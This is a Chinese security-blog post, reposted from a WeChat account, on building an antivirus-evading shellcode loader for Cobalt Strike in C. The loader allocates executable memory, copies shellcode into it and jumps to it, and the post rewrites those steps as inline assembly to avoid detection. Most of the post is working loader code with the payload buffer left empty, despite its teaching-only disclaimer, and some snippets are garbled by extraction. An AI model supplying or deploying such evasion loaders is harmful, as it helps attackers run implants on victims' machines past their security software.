CS免杀-内联汇编Loader

  • A+
所属分类:安全文章
CS免杀-内联汇编Loader
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

前言


免杀套路实在是太多了,虽然单种方式不一定免杀,但打组合拳绝对是无敌的存在
在《CS免杀-分离+混淆免杀思路》等几篇文章写过好几个免杀的小技巧

但是不一样的语言有不一样的优点
今就了解了解C语言的内联汇编,学习姿势、扩充技巧

C语言内存加载器


下面是一个简单的C语言的shellcode_loader
#include#include#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")//不弹窗#pragma comment(linker, "/INCREMENTAL:NO") 
int main(int argc, char **argv){ unsigned char buf[] =  "xfc"; void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return 0;}
看过我那篇《CS免杀-Shellcode Loader原理(python)》的应该就熟悉的多了

内联汇编


C语言的函数都可以通过汇编来实现
#include#includeunsigned char buf[]="";
向通过汇编调用函数,我们需要知道函数的地址

GetProcAddress是检索指定的动态链接库(DLL)中的输出库函数地址
lpProcName参数能够识别DLL中的函数。
如果函数调用成功,返回值是DLL中的输出函数地址。
如果函数调用失败,返回值是NULL。得到进一步的错误信息,调用函数
GetLastError
LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");size_t dw_size = sizeof(buf);void *exec = NULL;
然后通过C中内联汇编将参数入栈,然后执行函数
call执行将返回函数的指针
__asm{           push 0x40;           push 0x1000;           mov eax, dw_size;           push eax;           push 0;           mov eax, lp;           call eax;           mov exec, eax}


VirtualAlloc函数


上面汇编指令是就是实现了VirtualAlloc函数申请内存
void *exec = VirtualAlloc(0,sizeof buf,MEM_COMMIT,PAGE_EXE_EXECUTE_READWRITE);__asm{push 0x40; //可读可写可执行页参数入栈push 0x1000; //MEM_COMMIT参数值入栈mov eax, dw_size; //定义空间大小push eax; //将空间大小入栈push 0; //由系统自行决定内存空间起始地址入栈mov eax, lp; //移动到virtualAlloc函数地址call eax; //运行该函数mov exec,eax;//调用地址}

RtlMoveMemory函


同理,使用汇编实现内存复制RtlMoveMemory,下面是将shellcode复制到申请的地址当中去
//memcpy(exec, buf, sizeof buf);LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");__asm{           mov eax, dw_size;           push eax;           lea eax, buf           push eax           mov ecx, exec           push ecx           mov eax, op;           call eax;}
最后使用汇编跳转到exec函数运行
__asm{           jmp exec;}
最终源码是这样啊
#include#include
unsigned char buf[]="";int main(){ LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc"); size_t dw_size = sizeof(buf); void *exec = NULL; __asm { push 0x40; push 0x1000;    mov eax, dw_size;    push eax;    push 0;
    mov eax, lp;    call eax;    mov exec, eax;              } LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory"); __asm { mov eax, dw_size; push eax;
lea eax, buf;    push eax;    mov ecx, exec;    push ecx;    mov eax, op;    call eax;    } __asm     {  jmp exec;      } return 0;}
原理是可行的,不上线自己再调试一下,本文只是学习姿势

本文始发于微信公众号(XG小刚):CS免杀-内联汇编Loader

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: